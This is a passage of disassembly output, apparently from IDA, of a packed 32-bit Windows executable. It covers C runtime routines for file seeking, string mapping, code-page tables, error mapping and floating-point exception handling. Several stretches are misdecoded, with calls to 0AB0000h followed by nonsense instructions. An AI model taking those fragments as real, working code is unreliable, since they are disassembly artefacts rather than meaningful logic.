jnz short loc_41842B
or al, 2
mov [esi], al
loc_41842B: ; CODE XREF: sub_418259+101j
; sub_418259+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_418431: ; CODE XREF: sub_418259+DAj
mov eax, [ebp+var_8]
jmp short loc_41844A
; ---------------------------------------------------------------------------
loc_418436: ; CODE XREF: sub_418259+12j
; sub_418259+39j
and dword_462BC8, 0
mov dword_462BC4, 9
loc_418447: ; CODE XREF: sub_418259+ABj
; sub_418259+C3j
or eax, 0FFFFFFFFh
loc_41844A: ; CODE XREF: sub_418259+B7j
; sub_418259+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_418259 endp
; =============== S U B R O U T I N E =======================================
sub_41844F proc near ; CODE XREF: sub_41380E+67p
; sub_414507+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_463FE0
push esi
push edi
jnb short loc_4184D1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:463EE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4184D1
push eax
call sub_419D93
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_418493
mov dword_462BC4, 9
jmp short loc_4184E2
; ---------------------------------------------------------------------------
loc_418493: ; CODE XREF: sub_41844F+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_41D09C ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4184B3
call dword_41D06C ; RtlGetLastWin32Error
jmp short loc_4184B5
; ---------------------------------------------------------------------------
loc_4184B3: ; CODE XREF: sub_41844F+5Aj
xor eax, eax
loc_4184B5: ; CODE XREF: sub_41844F+62j
test eax, eax
jz short loc_4184C2
push eax
call sub_418CFA
pop ecx
jmp short loc_4184E2
; ---------------------------------------------------------------------------
loc_4184C2: ; CODE XREF: sub_41844F+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4184E5
; ---------------------------------------------------------------------------
loc_4184D1: ; CODE XREF: sub_41844F+Dj
; sub_41844F+2Aj
and dword_462BC8, 0
mov dword_462BC4, 9
loc_4184E2: ; CODE XREF: sub_41844F+42j
; sub_41844F+71j
or eax, 0FFFFFFFFh
loc_4184E5: ; CODE XREF: sub_41844F+80j
pop edi
pop esi
pop ebx
retn
sub_41844F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E9 proc near ; CODE XREF: sub_41380E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_418505
mov [edi+4], ebx
loc_418505: ; CODE XREF: sub_4184E9+17j
push 1
push ebx
push esi
call sub_41844F
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_418573
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41852A
sub eax, [edi+4]
jmp loc_41863C
; ---------------------------------------------------------------------------
loc_41852A: ; CODE XREF: sub_4184E9+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_418564
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_463EE0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41857B
mov edx, ecx
loc_418555: ; CODE XREF: sub_4184E9+79j
cmp edx, eax
jnb short loc_41857B
cmp byte ptr [edx], 0Ah
jnz short loc_418561
inc [ebp+var_8]
loc_418561: ; CODE XREF: sub_4184E9+73j
inc edx
jmp short loc_418555
; ---------------------------------------------------------------------------
loc_418564: ; CODE XREF: sub_4184E9+50j
test dl, 80h
jnz short loc_41857B
mov dword_462BC4, 16h
loc_418573: ; CODE XREF: sub_4184E9+2Dj
or eax, 0FFFFFFFFh
jmp loc_41863C
; ---------------------------------------------------------------------------
loc_41857B: ; CODE XREF: sub_4184E9+68j
; sub_4184E9+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_418589
mov eax, [ebp+var_8]
jmp loc_41863C
; ---------------------------------------------------------------------------
loc_418589: ; CODE XREF: sub_4184E9+96j
test byte ptr [edi+0Ch], 1
jz loc_418634
mov edx, [edi+4]
test edx, edx
jnz short loc_4185A2
and [ebp+var_8], edx
jmp loc_418634
; ---------------------------------------------------------------------------
loc_4185A2: ; CODE XREF: sub_4184E9+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:463EE0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41862E
push 2
push 0
push [ebp+var_C]
call sub_41844F
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4185F5
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4185E0: ; CODE XREF: sub_4184E9+104j
cmp eax, ecx
jnb short loc_4185EF
cmp byte ptr [eax], 0Ah
jnz short loc_4185EC
inc [ebp+arg_0]
loc_4185EC: ; CODE XREF: sub_4184E9+FEj
inc eax
jmp short loc_4185E0
; ---------------------------------------------------------------------------
loc_4185EF: ; CODE XREF: sub_4184E9+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_418629
; ---------------------------------------------------------------------------
loc_4185F5: ; CODE XREF: sub_4184E9+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41844F
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41861C
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41861C
test ch, 4
jz short loc_41861F
loc_41861C: ; CODE XREF: sub_4184E9+124j
; sub_4184E9+12Cj
mov eax, [edi+18h]
loc_41861F: ; CODE XREF: sub_4184E9+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_418629: ; CODE XREF: sub_4184E9+10Aj
jz short loc_41862E
inc [ebp+arg_0]
loc_41862E: ; CODE XREF: sub_4184E9+D9j
; sub_4184E9:loc_418629j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_418634: ; CODE XREF: sub_4184E9+A4j
; sub_4184E9+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41863C: ; CODE XREF: sub_4184E9+3Cj
; sub_4184E9+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4184E9 endp
; ---------------------------------------------------------------------------
loc_418641: ; CODE XREF: sub_413A37+A3p
; sub_417541+A5p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D870
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp dword_462C4C, edi
jnz short loc_4186B7
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_41D868
mov esi, 100h
push esi
push edi
call dword_41D188 ; LCMapStringW
test eax, eax
jz short loc_418695
mov dword_462C4C, ebx
jmp short loc_4186B7
; ---------------------------------------------------------------------------
loc_418695: ; CODE XREF: .nsp0:0041868Bj
push edi
push edi
push ebx
push offset dword_432704
push esi
push edi
call near ptr 0AB0000h
mov [ebp+22840FC0h], eax
add [eax], eax
add bh, al
add eax, offset dword_462C4C
add al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4186B7: ; CODE XREF: .nsp0:0041866Fj
; .nsp0:00418693j
cmp [ebp+14h], edi
jle short loc_4186CC
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_418865
pop ecx
pop ecx
mov [ebp+14h], eax
loc_4186CC: ; CODE XREF: .nsp0:004186BAj
mov eax, dword_462C4C
cmp eax, 2
jnz short loc_4186F3
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0AB0000h
add ecx, ebp
fiadd word ptr [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4186F3: ; CODE XREF: .nsp0:004186D4j
cmp eax, 1
jnz loc_4187CF
cmp [ebp+20h], edi
jnz short loc_418709
mov eax, dword_462C68
mov [ebp+20h], eax
loc_418709: ; CODE XREF: .nsp0:004186FFj
push edi
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov eax, [ebp+24h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+20h]
call dword_41D130 ; MultiByteToWideChar
mov ebx, eax
mov [ebp-1Ch], ebx
cmp ebx, edi
jz loc_4187CF
mov [ebp-4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_412770
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_418764
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-24h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_418764: ; CODE XREF: .nsp0:0041874Fj
cmp [ebp-24h], edi
jz short loc_4187CF
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call dword_41D130 ; MultiByteToWideChar
test eax, eax
jz short loc_4187CF
push edi
push edi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_41D188 ; LCMapStringW
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz short loc_4187CF
test byte ptr [ebp+0Dh], 4
jz short loc_4187E3
cmp [ebp+1Ch], edi
jz loc_41885E
cmp esi, [ebp+1Ch]
jg short loc_4187CF
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_41D188 ; LCMapStringW
test eax, eax
jnz loc_41885E
loc_4187CF: ; CODE XREF: .nsp0:004186F6j
; .nsp0:0041872Dj ...
xor eax, eax
loc_4187D1: ; CODE XREF: .nsp0:00418860j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4187E3: ; CODE XREF: .nsp0:004187A1j
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_412770
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_418817
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_418817: ; CODE XREF: .nsp0:00418803j
cmp ebx, edi
jz short loc_4187CF
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_41D188 ; LCMapStringW
test eax, eax
jz short loc_4187CF
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_41883E
push edi
push edi
jmp short loc_418844
; ---------------------------------------------------------------------------
loc_41883E: ; CODE XREF: .nsp0:00418838j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_418844: ; CODE XREF: .nsp0:0041883Cj
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call dword_41D12C ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_4187CF
loc_41885E: ; CODE XREF: .nsp0:004187A6j
; .nsp0:004187C9j
mov eax, esi
jmp loc_4187D1
; =============== S U B R O U T I N E =======================================
sub_418865 proc near ; CODE XREF: .nsp0:004186C2p
; sub_41C115+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_418882
loc_418875: ; CODE XREF: sub_418865+1Bj
cmp byte ptr [eax], 0
jz short loc_418882
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_418875
loc_418882: ; CODE XREF: sub_418865+Ej
; sub_418865+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41888D
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41888D: ; CODE XREF: sub_418865+21j
mov eax, edx
retn
sub_418865 endp
; ---------------------------------------------------------------------------
loc_418890: ; CODE XREF: sub_418C54+Bp
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call sub_418A29
mov esi, eax
pop ecx
cmp esi, dword_463FE4
mov [ebp+8], esi
jz loc_418A1D
xor ebx, ebx
cmp esi, ebx
jz loc_418A13
xor edx, edx
mov eax, offset dword_431830
loc_4188C4: ; CODE XREF: .nsp0:004188D1j
cmp [eax], esi
jz short loc_41893A
add eax, 30h
inc edx
cmp eax, offset dword_431920
jl short loc_4188C4
lea eax, [ebp-18h]
push eax
push esi
call near ptr 0AB0000h
xor [ebx-7AF0FE08h], al
and al, 1
; ---------------------------------------------------------------------------
db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
inc eax
xor eax, eax
pop ecx
mov edi, offset byte_464100
cmp dword ptr [ebp-18h], 1
mov dword_463FE4, esi
rep stosd
stosb
mov dword_464204, ebx
jbe loc_4189F9
cmp byte ptr [ebp-12h], 0
jz loc_4189CF
lea ecx, [ebp-11h]
loc_418917: ; CODE XREF: .nsp0:004189C9j
mov dl, [ecx]
test dl, dl
jz loc_4189CF
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_418928: ; CODE XREF: .nsp0:00418938j
cmp eax, edx
ja loc_4189C3
or byte_464101[eax], 4
inc eax
jmp short loc_418928
; ---------------------------------------------------------------------------
loc_41893A: ; CODE XREF: .nsp0:004188C6j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_464100
rep stosd
lea esi, [edx+edx*2]
mov [ebp-4], ebx
shl esi, 4
stosb
lea ebx, dword_431840[esi]
loc_418956: ; CODE XREF: .nsp0:00418993j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_418989
loc_41895D: ; CODE XREF: .nsp0:00418987j
mov dl, [ecx+1]
test dl, dl
jz short loc_418989
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_418982
mov edx, [ebp-4]
mov dl, byte_431828[edx]
loc_418977: ; CODE XREF: .nsp0:00418980j
or byte_464101[eax], dl
inc eax
cmp eax, edi
jbe short loc_418977
loc_418982: ; CODE XREF: .nsp0:0041896Cj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41895D
loc_418989: ; CODE XREF: .nsp0:0041895Bj
; .nsp0:00418962j
inc dword ptr [ebp-4]
add ebx, 8
cmp dword ptr [ebp-4], 4
jb short loc_418956
mov eax, [ebp+8]
mov dword_463FFC, 1
push eax
mov dword_463FE4, eax
call sub_418A73
lea esi, dword_431834[esi]
mov edi, offset dword_463FF0
movsd
movsd
pop ecx
mov dword_464204, eax
movsd
jmp short loc_418A18
; ---------------------------------------------------------------------------
loc_4189C3: ; CODE XREF: .nsp0:0041892Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_418917
loc_4189CF: ; CODE XREF: .nsp0:0041890Ej
; .nsp0:0041891Bj
push 1
pop eax
loc_4189D2: ; CODE XREF: .nsp0:004189DFj
or byte_464101[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_4189D2
push esi
call sub_418A73
pop ecx
mov dword_464204, eax
mov dword_463FFC, 1
jmp short loc_4189FF
; ---------------------------------------------------------------------------
loc_4189F9: ; CODE XREF: .nsp0:00418904j
mov dword_463FFC, ebx
loc_4189FF: ; CODE XREF: .nsp0:004189F7j
xor eax, eax
mov edi, offset dword_463FF0
stosd
stosd
stosd
jmp short loc_418A18
; ---------------------------------------------------------------------------
cmp dword_462C70, ebx
jz short loc_418A21
loc_418A13: ; CODE XREF: .nsp0:004188B7j
call sub_418AA6
loc_418A18: ; CODE XREF: .nsp0:004189C1j
; .nsp0:00418A09j
call sub_418ACF
loc_418A1D: ; CODE XREF: .nsp0:004188ADj
xor eax, eax
jmp short loc_418A24
; ---------------------------------------------------------------------------
loc_418A21: ; CODE XREF: .nsp0:00418A11j
or eax, 0FFFFFFFFh
loc_418A24: ; CODE XREF: .nsp0:00418A1Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_418A29 proc near ; CODE XREF: .nsp0:0041889Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_462C70, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_418A48+1
mov dword_462C70, 1
call near ptr 0AB0000h
loc_418A48: ; CODE XREF: sub_418A29+Ej
mov cl, 83h
clc
std
jnz short near ptr loc_418A5D+1
mov dword_462C70, 1
call near ptr 0AB0000h
loc_418A5D: ; CODE XREF: sub_418A29+23j
mov dl, 83h
clc
cld
jnz short locret_418A72
mov eax, dword_462C68
mov dword_462C70, 1
locret_418A72: ; CODE XREF: sub_418A29+38j
retn
sub_418A29 endp
; =============== S U B R O U T I N E =======================================
sub_418A73 proc near ; CODE XREF: .nsp0:004189A8p
; .nsp0:004189E2p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_418AA0
sub eax, 4
jz short loc_418A9A
sub eax, 0Dh
jz short loc_418A94
dec eax
jz short loc_418A8E
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418A8E: ; CODE XREF: sub_418A73+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_418A94: ; CODE XREF: sub_418A73+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_418A9A: ; CODE XREF: sub_418A73+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_418AA0: ; CODE XREF: sub_418A73+9j
mov eax, 411h
retn
sub_418A73 endp
; =============== S U B R O U T I N E =======================================
sub_418AA6 proc near ; CODE XREF: .nsp0:loc_418A13p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_464100
rep stosd
stosb
xor eax, eax
mov edi, offset dword_463FF0
mov dword_463FE4, eax
mov dword_463FFC, eax
mov dword_464204, eax
stosd
stosd
stosd
pop edi
retn
sub_418AA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418ACF proc near ; CODE XREF: .nsp0:loc_418A18p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_463FE4
call near ptr 0AB0000h
push cs
cmp eax, 1
jnz loc_418C08
xor eax, eax
mov esi, 100h
loc_418AF9: ; CODE XREF: sub_418ACF+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_418AF9
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_418B4A
push ebx
push edi
lea edx, [ebp+var_D]
loc_418B18: ; CODE XREF: sub_418ACF+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_418B3F
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_418B3F: ; CODE XREF: sub_418ACF+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_418B18
pop edi
pop ebx
loc_418B4A: ; CODE XREF: sub_418ACF+42j
push 0
lea eax, [ebp+var_514]
push dword_464204
push dword_463FE4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call loc_419AC4
push 0
lea eax, [ebp+var_214]
push dword_463FE4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_464204
call loc_418641
push 0
lea eax, [ebp+var_314]
push dword_463FE4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_464204
call loc_418641
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_418BC5: ; CODE XREF: sub_418ACF+135j
mov dx, [ecx]
test dl, 1
jz short loc_418BE3
or byte_464101[eax], 10h
mov dl, [ebp+eax+var_214]
loc_418BDB: ; CODE XREF: sub_418ACF+127j
mov byte_464000[eax], dl
jmp short loc_418BFF
; ---------------------------------------------------------------------------
loc_418BE3: ; CODE XREF: sub_418ACF+FCj
test dl, 2
jz short loc_418BF8
or byte_464101[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_418BDB
; ---------------------------------------------------------------------------
loc_418BF8: ; CODE XREF: sub_418ACF+117j
and byte_464000[eax], 0
loc_418BFF: ; CODE XREF: sub_418ACF+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_418BC5
jmp short loc_418C51
; ---------------------------------------------------------------------------
loc_418C08: ; CODE XREF: sub_418ACF+1Dj
xor eax, eax
mov esi, 100h
loc_418C0F: ; CODE XREF: sub_418ACF+180j
cmp eax, 41h
jb short loc_418C2D
cmp eax, 5Ah
ja short loc_418C2D
or byte_464101[eax], 10h
mov cl, al
add cl, 20h
loc_418C25: ; CODE XREF: sub_418ACF+174j
mov byte_464000[eax], cl
jmp short loc_418C4C
; ---------------------------------------------------------------------------
loc_418C2D: ; CODE XREF: sub_418ACF+143j
; sub_418ACF+148j
cmp eax, 61h
jb short loc_418C45
cmp eax, 7Ah
ja short loc_418C45
or byte_464101[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_418C25
; ---------------------------------------------------------------------------
loc_418C45: ; CODE XREF: sub_418ACF+161j
; sub_418ACF+166j
and byte_464000[eax], 0
loc_418C4C: ; CODE XREF: sub_418ACF+15Cj
inc eax
cmp eax, esi
jb short loc_418C0F
loc_418C51: ; CODE XREF: sub_418ACF+137j
pop esi
leave
retn
sub_418ACF endp
; =============== S U B R O U T I N E =======================================
sub_418C54 proc near ; CODE XREF: .nsp0:00418EEEp
; sub_418F3D+Dp ...
cmp dword_46422C, 0
jnz short locret_418C6F
push 0FFFFFFFDh
call loc_418890
pop ecx
mov dword_46422C, 1
locret_418C6F: ; CODE XREF: sub_418C54+7j
retn
sub_418C54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C70 proc near ; CODE XREF: sub_413BF8+2Bp
; sub_413BF8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_463FFC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_418C94
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_413710
add esp, 0Ch
jmp short loc_418CF7
; ---------------------------------------------------------------------------
loc_418C94: ; CODE XREF: sub_418C70+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_418CD9
mov ecx, [ebp+arg_4]
loc_418C9F: ; CODE XREF: sub_418C70+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_464101[esi], 4
mov [edi], al
jz short loc_418CC3
inc edi
inc ecx
test edx, edx
jz short loc_418CCF
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_418CD5
jmp short loc_418CC9
; ---------------------------------------------------------------------------
loc_418CC3: ; CODE XREF: sub_418C70+3Ej
inc edi
inc ecx
test al, al
jz short loc_418CD9
loc_418CC9: ; CODE XREF: sub_418C70+51j
test edx, edx
jnz short loc_418C9F
jmp short loc_418CD9
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C70+44j
and byte ptr [edi-1], 0
jmp short loc_418CD9
; ---------------------------------------------------------------------------
loc_418CD5: ; CODE XREF: sub_418C70+4Fj
and byte ptr [edi-2], 0
loc_418CD9: ; CODE XREF: sub_418C70+2Aj
; sub_418C70+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_418CF4
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_418CF4: ; CODE XREF: sub_418C70+6Fj
mov eax, [ebp+arg_0]
loc_418CF7: ; CODE XREF: sub_418C70+22j
pop edi
pop ebp
retn
sub_418C70 endp
; =============== S U B R O U T I N E =======================================
sub_418CFA proc near ; CODE XREF: sub_413EAF+16p
; sub_414103+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_462BC8, ecx
mov eax, offset dword_431920
loc_418D0B: ; CODE XREF: sub_418CFA+1Ej
cmp ecx, [eax]
jz short loc_418D2F
add eax, 8
inc edx
cmp eax, offset dword_431A88
jl short loc_418D0B
cmp ecx, 13h
jb short loc_418D3C
cmp ecx, 24h
ja short loc_418D3C
mov dword_462BC4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_418D2F: ; CODE XREF: sub_418CFA+13j
mov eax, dword_431924[edx*8]
mov dword_462BC4, eax
retn
; ---------------------------------------------------------------------------
loc_418D3C: ; CODE XREF: sub_418CFA+23j
; sub_418CFA+28j
cmp ecx, 0BCh
jb short loc_418D56
cmp ecx, 0CAh
mov dword_462BC4, 8
jbe short locret_418D60
loc_418D56: ; CODE XREF: sub_418CFA+48j
mov dword_462BC4, 16h
locret_418D60: ; CODE XREF: sub_418CFA+5Aj
retn
sub_418CFA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_418EA2
test eax, eax
pop ecx
jz loc_418E96
mov ebx, [eax+8]
test ebx, ebx
jz loc_418E96
cmp ebx, 5
jnz short loc_418D92
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_418E9F
; ---------------------------------------------------------------------------
loc_418D92: ; CODE XREF: .nsp0:00418D84j
cmp ebx, 1
jz loc_418E91
mov ecx, dword_462C74
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_462C74, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_418E81
mov ecx, dword_431B00
mov edx, dword_431B04
add edx, ecx
push esi
cmp ecx, edx
jge short loc_418DE1
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:431A90h[esi*4]
loc_418DD8: ; CODE XREF: .nsp0:00418DDFj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_418DD8
loc_418DE1: ; CODE XREF: .nsp0:00418DCAj
mov eax, [eax]
mov esi, dword_431B0C
cmp eax, 0C000008Eh
jnz short loc_418DFC
mov dword_431B0C, 83h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418DFC: ; CODE XREF: .nsp0:00418DEEj
cmp eax, 0C0000090h
jnz short loc_418E0F
mov dword_431B0C, 81h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418E0F: ; CODE XREF: .nsp0:00418E01j
cmp eax, 0C0000091h
jnz short loc_418E22
mov dword_431B0C, 84h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418E22: ; CODE XREF: .nsp0:00418E14j
cmp eax, 0C0000093h
jnz short loc_418E35
mov dword_431B0C, 85h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418E35: ; CODE XREF: .nsp0:00418E27j
cmp eax, 0C000008Dh
jnz short loc_418E48
mov dword_431B0C, 82h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418E48: ; CODE XREF: .nsp0:00418E3Aj
cmp eax, 0C000008Fh
jnz short loc_418E5B
mov dword_431B0C, 86h
jmp short loc_418E6C
; ---------------------------------------------------------------------------
loc_418E5B: ; CODE XREF: .nsp0:00418E4Dj
cmp eax, 0C0000092h
jnz short loc_418E6C
mov dword_431B0C, 8Ah
loc_418E6C: ; CODE XREF: .nsp0:00418DFAj
; .nsp0:00418E0Dj ...
push dword_431B0C
push 8
call ebx
pop ecx
mov dword_431B0C, esi
pop ecx
pop esi
jmp short loc_418E89
; ---------------------------------------------------------------------------
loc_418E81: ; CODE XREF: .nsp0:00418DB3j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_418E89: ; CODE XREF: .nsp0:00418E7Fj
mov eax, [ebp+8]
mov dword_462C74, eax
loc_418E91: ; CODE XREF: .nsp0:00418D95j
or eax, 0FFFFFFFFh
jmp short loc_418E9F
; ---------------------------------------------------------------------------
loc_418E96: ; CODE XREF: .nsp0:00418D70j
; .nsp0:00418D7Bj
push dword ptr [ebp+0Ch]
call dword_41D198 ; UnhandledExceptionFilter
loc_418E9F: ; CODE XREF: .nsp0:00418D8Dj
; .nsp0:00418E94j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_418EA2 proc near ; CODE XREF: .nsp0:00418D68p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_431B08
cmp dword_431A88, edx
push esi
mov eax, offset dword_431A88
jz short loc_418ECF
lea esi, [ecx+ecx*2]
lea esi, ds:431A88h[esi*4]
loc_418EC4: ; CODE XREF: sub_418EA2+2Bj
add eax, 0Ch
